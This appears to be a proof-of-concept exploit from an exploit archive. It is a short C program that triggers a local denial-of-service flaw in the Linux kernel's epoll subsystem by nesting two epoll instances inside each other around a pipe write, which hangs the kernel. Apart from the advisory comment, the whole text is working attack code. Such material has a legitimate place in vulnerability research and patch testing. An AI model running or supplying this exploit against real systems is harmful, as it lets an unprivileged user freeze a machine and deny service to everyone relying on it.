/* source: https://www.securityfocus.com/bid/46630/info The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities. Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users. */ #include #include int main(void) { int e1, e2, p[2]; struct epoll_event evt = { .events = EPOLLIN }; e1 = epoll_create(1); e2 = epoll_create(2); pipe(p); epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt); epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt); write(p[1], p, sizeof p); epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt); return 0; }